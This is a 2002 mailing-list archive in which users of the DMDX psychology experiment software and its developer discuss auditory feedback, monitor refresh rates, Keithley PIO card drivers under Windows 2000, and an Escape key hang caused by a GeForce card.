[4.60.180.31]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA30280 for ; Tue, 11 Jun 2002 15:07:14 -0700 Received: from richie (richieXP [192.168.123.174]) by richie.jphs.net (8.11.6/8.11.6) with SMTP id g5BM3mr02639 for ; Tue, 11 Jun 2002 17:03:48 -0500 Message-ID: <000b01c21194$55f72f10$ae7ba8c0@richie> From: ""Richard D. Morey"" To: References: <5.1.0.14.2.20020610182607.00b12c08@psy1.psych.arizona.edu> Subject: [DMDX] Auditory feedback Date: Tue, 11 Jun 2002 17:07:11 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is there a way to give the feedback as a .wav file or beep? Richard Morey >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 11 15:17:24 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA30332 for ; Tue, 11 Jun 2002 15:17:18 -0700 Received: from COMM301 (128.196.93.31) by phobos.email.Arizona.EDU (6.0.053) id 3D063A7D0000950D for DMDX@psy1.psych.arizona.edu; Tue, 11 Jun 2002 15:17:17 -0700 From: ""Matthew Finkbeiner"" To: Subject: [DMDX] RE: Auditory feedback Date: Tue, 11 Jun 2002 15:17:29 -0700 Message-ID: <000b01c21195$c6706850$1f5dc480@COMM301> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <000b01c21194$55f72f10$ae7ba8c0@richie> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > > Is there a way to give the feedback as a .wav file or beep? > If you're doing a naming experiment, then yes. See the info on the keyword in the helpfile. Matthew >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 11 15:34:02 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA30466 for ; Tue, 11 Jun 2002 15:33:55 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D00E4980006A468 for DMDX@psy1.psych.arizona.edu; Tue, 11 Jun 2002 15:33:55 -0700 Message-Id: <5.1.0.14.2.20020611152626.00b13090@psy1.psych.arizona.edu> Date: Tue, 11 Jun 2002 15:33:55 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: a few DMDX questions In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:14 PM 6/11/2002 -0500, you wrote: >Thanks for all those who help on this listserv. I've learned alot, but I >have a few questions: > >1. Is there anyway of moving feedback to a different part of the screen? >Say, the center? Right now it displays on the lower half of the screen. You'll have to build a custom feedback routine, see The Call keyword: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm >2. Why are all the refresh rates 0 Hz? We would like to run experiments at >120 Hz, but DMDX seems to prefer 75 Hz. Is there any way to change this? That's the display drivers. Despite claims to the contrary I've never seen any drivers ever enumerate anything other than 0Hz. There are NVIDIA semi-supported utilities to tinker with the display rates that their drivers expose to programs but I'm betting the 75Hz that DMDX uses is a function of your monitor, ie your monitor won't go any faster than 75Hz. Buy a better monitor and I'll bet you get faster display rates out of DMDX. >Is there a way to give the feedback as a .wav file or beep? Yes, see The Call keyword: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhbranchkeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 11 17:01:44 2002 Received: from richie.jphs.net (crtntx1-ar3-4-60-180-031.crtntx1.dsl-verizon.net [4.60.180.31]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA30721 for ; Tue, 11 Jun 2002 17:01:20 -0700 Received: from richie (richieXP [192.168.123.174]) by richie.jphs.net (8.11.6/8.11.6) with SMTP id g5BNvur02799 for ; Tue, 11 Jun 2002 18:57:56 -0500 Message-ID: <001901c211a4$47c162c0$ae7ba8c0@richie> From: ""Richard D. Morey"" To: References: <5.1.0.14.2.20020611152626.00b13090@psy1.psych.arizona.edu> Subject: [DMDX] Re: a few DMDX questions Date: Tue, 11 Jun 2002 19:01:19 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > At 03:14 PM 6/11/2002 -0500, you wrote: > >2. Why are all the refresh rates 0 Hz? We would like to run experiments at > >120 Hz, but DMDX seems to prefer 75 Hz. Is there any way to change this? > > That's the display drivers. Despite claims to the contrary I've never > seen any drivers ever enumerate anything other than 0Hz. There are NVIDIA > semi-supported utilities to tinker with the display rates that their > drivers expose to programs but I'm betting the 75Hz that DMDX uses is a > function of your monitor, ie your monitor won't go any faster than > 75Hz. Buy a better monitor and I'll bet you get faster display rates out > of DMDX. > Well, when we have our desktop set to 1024x768 32bpp @100Hz and we run TimeDX at 1024x768 32 Bpp 0Hz, TimeDX changes the refresh rate to 75Hz while it is doing the Video tests (we can confirm this using the menu on the monitor itself). I will try tomorrow to see if it changes to 75 Hz during an experiment. The hardware we have is a Dell P780 and a fast ATI video card which we can run at 120Hz at 800x600 and 100Hz at 1024x768. Thanks for your help. Richard Morey >From DMDX-owner@psy1.psych.arizona.edu Tue Jun 11 17:47:27 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA30878 for ; Tue, 11 Jun 2002 17:47:19 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3D063A7D0000D909 for DMDX@psy1.psych.arizona.edu; Tue, 11 Jun 2002 17:47:19 -0700 Message-Id: <5.1.0.14.2.20020611173958.00b12c08@psy1.psych.arizona.edu> Date: Tue, 11 Jun 2002 17:47:16 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: a few DMDX questions In-Reply-To: <001901c211a4$47c162c0$ae7ba8c0@richie> References: <5.1.0.14.2.20020611152626.00b13090@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:01 PM 6/11/2002 -0500, you wrote: >Well, when we have our desktop set to 1024x768 32bpp @100Hz and we run >TimeDX at 1024x768 32 Bpp 0Hz, TimeDX changes the refresh rate to 75Hz while >it is doing the Video tests (we can confirm this using the menu on the >monitor itself). > >I will try tomorrow to see if it changes to 75 Hz during an experiment. The >hardware we have is a Dell P780 and a fast ATI video card which we can run >at 120Hz at 800x600 and 100Hz at 1024x768. If you see TimeDX using 75Hz then as long as you tell DMDX to use the same video mode (in this case in the parameter line of the item file) DMDX will also use 75Hz -- there wouldn't be much point to TimeDX otherwise. You don't need a superior monitor if the desktop can run at the higher refresh rates, you just need to figure out how to get ATI's drivers to expose those refresh rates to games, specifically DirectX applications. Maybe there's some control hidden away in the Advanced properties of the display adapter. I can't help much, I got rid of my ATI video card a few weeks ago but if I were you I'd try searching the web for keywords like ""ATI refresh rate fix"". /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 12 04:17:40 2002 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA32166 for ; Wed, 12 Jun 2002 04:16:11 -0700 Received: from pc125.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 12 Jun 2002 12:15:49 +0100 (BST) Message-Id: <5.1.0.14.2.20020612120712.01bf4190@193.63.253.1> Date: Wed, 12 Jun 2002 12:16:31 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] PIO card in Win2000 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list The TimeDX help file tells me: > if the InstaCal drivers are installed with a Computer Boards interface card the > InstaCal card number can be used allowing windows version based on NT > (NT itself, windows 2000 and XP so far) to use a PIO. We would very much like to use DMDX with Windows 2000, but we installed Keithley PIO24 cards last year, not the MetraByte or ComputerBoards PIO cards. For that reason, I could not make the InstaCal drivers recognise our hardware. At the moment we are using the Keithley cards with the KPCI-PIO24 I/O Emulator under Windows 98. This works fine on all of our lab computers, but for other reasons we would like to move to Windows 2000 in the future. The emulator uses direct i/o, so cannot be used in Win2000. Does anybody know how of a way to use our Keithley PIO cards with DMDX in Windows2000? Thanks, Maarten van Casteren >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 12 08:58:24 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA00083 for ; Wed, 12 Jun 2002 08:58:04 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3D063A7D0001E095 for DMDX@psy1.psych.arizona.edu; Wed, 12 Jun 2002 08:58:04 -0700 Message-Id: <5.1.0.14.2.20020612084744.00b12c08@psy1.psych.arizona.edu> Date: Wed, 12 Jun 2002 08:58:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: PIO card in Win2000 In-Reply-To: <5.1.0.14.2.20020612120712.01bf4190@193.63.253.1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:16 PM 6/12/2002 +0100, you wrote: >We would very much like to use DMDX with Windows 2000, but we installed >Keithley PIO24 cards last year, not the MetraByte or ComputerBoards PIO >cards. For that reason, I could not make the InstaCal drivers recognise >our hardware. > >At the moment we are using the Keithley cards with the KPCI-PIO24 I/O >Emulator under Windows 98. This works fine on all of our lab computers, >but for other reasons we would like to move to Windows 2000 in the future. >The emulator uses direct i/o, so cannot be used in Win2000. > >Does anybody know how of a way to use our Keithley PIO cards with DMDX in >Windows2000? Well you'd have to get whatever driver kit it is that Keithley provide to drive their cards under NT/2k/XP and I'd have to integrate that into DMDX. Their kit is not likely to be free nor would I be doing the integration for free and you'd also have to buy me a Keithley card. So unless you're looking at a large number of PIO cards buying ComputerBoards cards is likely to be cheaper. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 12 09:12:23 2002 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA00188 for ; Wed, 12 Jun 2002 09:12:15 -0700 Received: from pc125.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 12 Jun 2002 17:12:11 +0100 (BST) Message-Id: <5.1.0.14.2.20020612170626.01d2ce48@193.63.253.1> Date: Wed, 12 Jun 2002 17:12:54 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Re: PIO card in Win2000 In-Reply-To: <5.1.0.14.2.20020612084744.00b12c08@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020612120712.01bf4190@193.63.253.1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list >> Does anybody know how of a way to use our Keithley PIO cards with DMDX in Windows2000? > Well you'd have to get whatever driver kit it is that Keithley provide to drive their cards under > NT/2k/XP and I'd have to integrate that into DMDX. Their kit is not likely to be free nor would > I be doing the integration for free and you'd also have to buy me a Keithley card. So unless > you're looking at a large number of PIO cards buying ComputerBoards cards is likely to be > cheaper. Thanks for your response. We have about 20 computers with Keithley PIO cards here, so buying new cards would be a problem. Are there more people out there with this problem? Maarten >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 12 11:11:49 2002 Received: from richie.jphs.net (crtntx1-ar3-4-60-180-031.crtntx1.dsl-verizon.net [4.60.180.31]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA00512 for ; Wed, 12 Jun 2002 11:11:16 -0700 Received: from richie (richieXP [192.168.123.174]) by richie.jphs.net (8.11.6/8.11.6) with SMTP id g5CI7or04665 for ; Wed, 12 Jun 2002 13:07:50 -0500 Message-ID: <000d01c2123c$897b4490$ae7ba8c0@richie> From: ""Richard D. Morey"" To: References: <5.1.0.14.2.20020611152626.00b13090@psy1.psych.arizona.edu> <5.1.0.14.2.20020611173958.00b12c08@psy1.psych.arizona.edu> Subject: [DMDX] Re: a few DMDX questions Date: Wed, 12 Jun 2002 13:11:11 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > You don't need a superior monitor if the desktop can run at the higher > refresh rates, you just need to figure out how to get ATI's drivers to > expose those refresh rates to games, specifically DirectX > applications. Maybe there's some control hidden away in the Advanced > properties of the display adapter. I can't help much, I got rid of my ATI > video card a few weeks ago but if I were you I'd try searching the web for > keywords like ""ATI refresh rate fix"". > For anyone having similar problems, I have discovered part of a fix. Download the DirectX control panel applet (it comes with the directx SDK, but not with the version we're all likely to have) at http://www.digital-digest.com/dvd/downloads/directxcpl.html or anywhere else you can find it. Install it, start it, and go to the DirectDraw tab. You can force refresh rates there. Richard Morey >From DMDX-owner@psy1.psych.arizona.edu Wed Jun 12 14:52:16 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA01097 for ; Wed, 12 Jun 2002 14:51:41 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D076E9F0000D21F for DMDX@psy1.psych.arizona.edu; Wed, 12 Jun 2002 14:51:41 -0700 Message-Id: <5.1.0.14.2.20020612144244.00b13090@psy1.psych.arizona.edu> Date: Wed, 12 Jun 2002 14:51:41 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: PIO card in Win2000 In-Reply-To: <5.1.0.14.2.20020612170626.01d2ce48@193.63.253.1> References: <5.1.0.14.2.20020612084744.00b12c08@psy1.psych.arizona.edu> <5.1.0.14.2.20020612120712.01bf4190@193.63.253.1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:12 PM 6/12/2002 +0100, you wrote: >We have about 20 computers with Keithley PIO cards here, so buying new >cards would be a problem. Yeah, well at 20 machines your cost is significant. I've just browsed all over the Keithly website and had little luck in turning up WDM drivers and or development kit (which is what is needed under NT/2k/XP). There's a useless DriverLINKS thing but it'll be a cold day in hell that DMDX interfaces to someone's ActiveX controls belive me. Their contacts page isn't exactly helpful but I'll send off an inquiry and see what turns up. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 13 01:39:18 2002 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA02407 for ; Thu, 13 Jun 2002 01:38:48 -0700 Received: from pc125.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Thu, 13 Jun 2002 09:38:47 +0100 (BST) Message-Id: <5.1.0.14.2.20020613092216.01bed880@193.63.253.1> Date: Thu, 13 Jun 2002 09:39:30 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Re: PIO card in Win2000 In-Reply-To: <5.1.0.14.2.20020612144244.00b13090@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020612170626.01d2ce48@193.63.253.1> <5.1.0.14.2.20020612084744.00b12c08@psy1.psych.arizona.edu> <5.1.0.14.2.20020612120712.01bf4190@193.63.253.1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan, > There's a useless DriverLINKS thing but it'll be a cold day in hell that DMDX interfaces > to someone's ActiveX controls belive me. Their contacts page isn't exactly helpful but I'll > send off an inquiry and see what turns up. Thank you very much! I have been using their DriverLINX interface for a little C++ program: it is not ideal, but it certainly works. I share your thoughts on ActiveX. A DirectInput driver for the Keithley PIO card would probably be a solution, but I don't think I'm able to write one, I'm afraid. Otherwise, maybe a duplicate of the CBW32.dll file, containing the calls you use, but now connected to the Keithley card through DriverLINX could work. I might be able to produce that, given information about the interface you use. Thanks, Maarten >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 13 11:06:59 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA03663 for ; Thu, 13 Jun 2002 11:06:29 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D063A7D000453F9 for DMDX@psy1.psych.arizona.edu; Thu, 13 Jun 2002 11:06:28 -0700 Message-Id: <5.1.0.14.2.20020613105520.00b130c0@psy1.psych.arizona.edu> Date: Thu, 13 Jun 2002 11:06:28 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: PIO card in Win2000 In-Reply-To: <5.1.0.14.2.20020613092216.01bed880@193.63.253.1> References: <5.1.0.14.2.20020612144244.00b13090@psy1.psych.arizona.edu> <5.1.0.14.2.20020612170626.01d2ce48@193.63.253.1> <5.1.0.14.2.20020612084744.00b12c08@psy1.psych.arizona.edu> <5.1.0.14.2.20020612120712.01bf4190@193.63.253.1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, here's the Keithly reply: ==================================================================== Our DriverLINX driver is the ONLY driver we support. Have you considered a different API or using the COM object? Please see the attached program for more information. NOTE: You do need to install the DriverLINX driver to use this API. ==================================================================== Given the rep's use of caps I doubt that we'll see a DirectInput driver. I guess if you've written a small program already I can peruse it to see if it makes my life easier, certainly their attached program was a mess of object oriented MFC junk. If so that will considerably lower any remuneration you would need to provide me. I would still require you to get me a Keithly card for testing that would stay here. At 09:39 AM 6/13/2002 +0100, you wrote: >Hi Jonathan, > > > There's a useless DriverLINKS thing but it'll be a cold day in hell > that DMDX interfaces > > to someone's ActiveX controls belive me. Their contacts page isn't > exactly helpful but I'll > > send off an inquiry and see what turns up. > >Thank you very much! I have been using their DriverLINX interface for a >little C++ program: it is not ideal, but it certainly works. I share your >thoughts on ActiveX. > >A DirectInput driver for the Keithley PIO card would probably be a >solution, but I don't think I'm able to write one, I'm afraid. Otherwise, >maybe a duplicate of the CBW32.dll file, containing the calls you use, but >now connected to the Keithley card through DriverLINX could work. I might >be able to produce that, given information about the interface you use. > >Thanks, > >Maarten > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Beware of bugs in the above code; I have only proved it correct, not tried it."" - Donald Knuth >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 13 22:21:40 2002 Received: from deimos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id WAA05011 for ; Thu, 13 Jun 2002 22:21:09 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by deimos.email.Arizona.EDU (6.0.053) id 3D076E9F0003AFF3 for DMDX@psy1.psych.arizona.edu; Thu, 13 Jun 2002 22:21:09 -0700 Message-Id: <5.1.0.14.2.20020613222007.00b12c20@psy1.psych.arizona.edu> Date: Thu, 13 Jun 2002 22:21:08 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: PIO card in Win2000 In-Reply-To: <5.1.0.14.2.20020613105520.00b130c0@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020613092216.01bed880@193.63.253.1> <5.1.0.14.2.20020612144244.00b13090@psy1.psych.arizona.edu> <5.1.0.14.2.20020612170626.01d2ce48@193.63.253.1> <5.1.0.14.2.20020612084744.00b12c08@psy1.psych.arizona.edu> <5.1.0.14.2.20020612120712.01bf4190@193.63.253.1> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Just incase you're thinking of posting your code to the list -- don't. Send it to me directly. At 11:06 AM 6/13/2002 -0700, you wrote: > I guess if you've written a small program already I can peruse it to > see if it makes my life easier, certainly their attached program was a > mess of object oriented MFC junk. If so that will considerably lower any > remuneration you would need to provide me. I would still require you to > get me a Keithly card for testing that would stay here. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 15 05:29:44 2002 Received: from cobalt11-he.global.net.uk.noc.gxn.net (cobalt11-he.global.net.uk [195.147.246.171]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA08614 for ; Sat, 15 Jun 2002 05:28:37 -0700 Received: from p8bs04a02.client.global.net.uk ([195.147.148.140] helo=letts) by cobalt11-he.global.net.uk.noc.gxn.net with smtp (Exim 3.03 #1) id 17JCfG-0002rX-00 for DMDX@psy1.psych.arizona.edu; Sat, 15 Jun 2002 13:28:23 +0100 From: ""Chris Letts"" To: Subject: [DMDX] Escape key Date: Sat, 15 Jun 2002 13:29:01 +0100 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0008_01C21470.9C68C600"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C21470.9C68C600 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Has anyone come across, and solved my problem, which is that I cannot use the Escape key to end the DMDX run ! (Hence the whole system just hangs at the end of a run and has to be rebooted ) Indeed if I try running the TIMEDX keyboard test, when I press Escape, the key hit doesn�t even get to TIMEDX, instead the PC �escapes� completely from TIMEDX. My system is an AMD ATHLON 1400 MHz with a �standard� Microsoft keyboard.. ------=_NextPart_000_0008_01C21470.9C68C600 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Has anyone come across, and solved my problem, which is that I = cannot use the Escape key to end the DMDX run ! (Hence the whole system just = hangs at the end of a run and has to be rebooted = )   Indeed if I try running the TIMEDX keyboard test, when I press = Escape, the key hit doesn’t even get to TIMEDX, instead the PC = ‘escapes’ completely from TIMEDX.   My system is an AMD ATHLON 1400 MHz with a ‘standard’ = Microsoft keyboard..   ------=_NextPart_000_0008_01C21470.9C68C600-- >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 15 09:32:35 2002 Received: from cobalt1-ps.global.net.uk.noc.gxn.net (cobalt1-ps.global.net.uk [195.147.248.161]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA09161 for ; Sat, 15 Jun 2002 09:31:56 -0700 Received: from p87s10a07.client.global.net.uk ([195.147.234.136] helo=letts) by cobalt1-ps.global.net.uk.noc.gxn.net with smtp (Exim 3.03 #1) id 17JGRn-0008C3-00 for DMDX@psy1.psych.arizona.edu; Sat, 15 Jun 2002 17:30:44 +0100 From: ""Chris Letts"" To: Subject: [DMDX] Re: Escape key Date: Sat, 15 Jun 2002 17:32:19 +0100 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0000_01C21492.99741EA0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C21492.99741EA0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit OK problem solved already � this turns out to me a manifestation of the GforceMX graphics problems described elsewhere � it just doesn�t look like one since it seems to affect the keyboard. The usual fix (-buffers 4) seems to cure it�. ------=_NextPart_000_0000_01C21492.99741EA0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable OK problem solved already – this turns out to me a = manifestation of the GforceMX graphics problems described elsewhere – it just = doesn’t look like one since it seems to affect the = keyboard. The usual fix (-buffers 4) seems to cure = it…. ------=_NextPart_000_0000_01C21492.99741EA0-- >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 15 09:36:14 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA09177 for ; Sat, 15 Jun 2002 09:36:03 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3D063A7D0007DCC8 for DMDX@psy1.psych.arizona.edu; Sat, 15 Jun 2002 09:36:02 -0700 Message-Id: <5.1.0.14.2.20020615093046.00b12be8@psy1.psych.arizona.edu> Date: Sat, 15 Jun 2002 09:36:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Escape key In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:29 PM 6/15/2002 +0100, you wrote: >Has anyone come across, and solved my problem, which is that I cannot use >the Escape key to end the DMDX run ! (Hence the whole system just hangs at >the end of a run and has to be rebooted ) So what does you last item look like? Have you tried putting an L switch (last item switch) in the last item? Perhaps you have something after the end of the last item that breaks my end of item file checks. >Indeed if I try running the TIMEDX keyboard test, when I press Escape, the >key hit doesn t even get to TIMEDX, instead the PC escapes completely from >TIMEDX. The documentation mentions that keys hit in that test still perform their usual function. While I wouldn't expect the ESC key to terminate TimeDX I would expect it to end the test, testing it on my XP machine yields a thread error so something is going awry. >My system is an AMD ATHLON 1400 MHz with a standard Microsoft keyboard.. Pretty sure DMDX has been used with a MS keyboard before. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science equivalent of 'Scientific Creationism'."" >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 15 23:37:42 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id XAA10946 for ; Sat, 15 Jun 2002 23:37:06 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.38) by phobos.email.Arizona.EDU (6.0.053) id 3D063A7D00086B80 for DMDX@psy1.psych.arizona.edu; Sat, 15 Jun 2002 23:37:06 -0700 Message-Id: <5.1.0.14.2.20020615233546.00b12be8@psy1.psych.arizona.edu> Date: Sat, 15 Jun 2002 23:37:04 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Escape key In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:32 PM 6/15/2002 +0100, you wrote: >OK problem solved already this turns out to me a manifestation of the >GforceMX graphics problems described elsewhere it just doesn t look like >one since it seems to affect the keyboard. > >The usual fix (-buffers 4) seems to cure it&. Yeah. Twice Ken has come to me with new and worrying errors in DMDX. Takes me a few seconds to remember he has a GeForce video card at home, problem solved each time. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""BASIC is the Computer Science 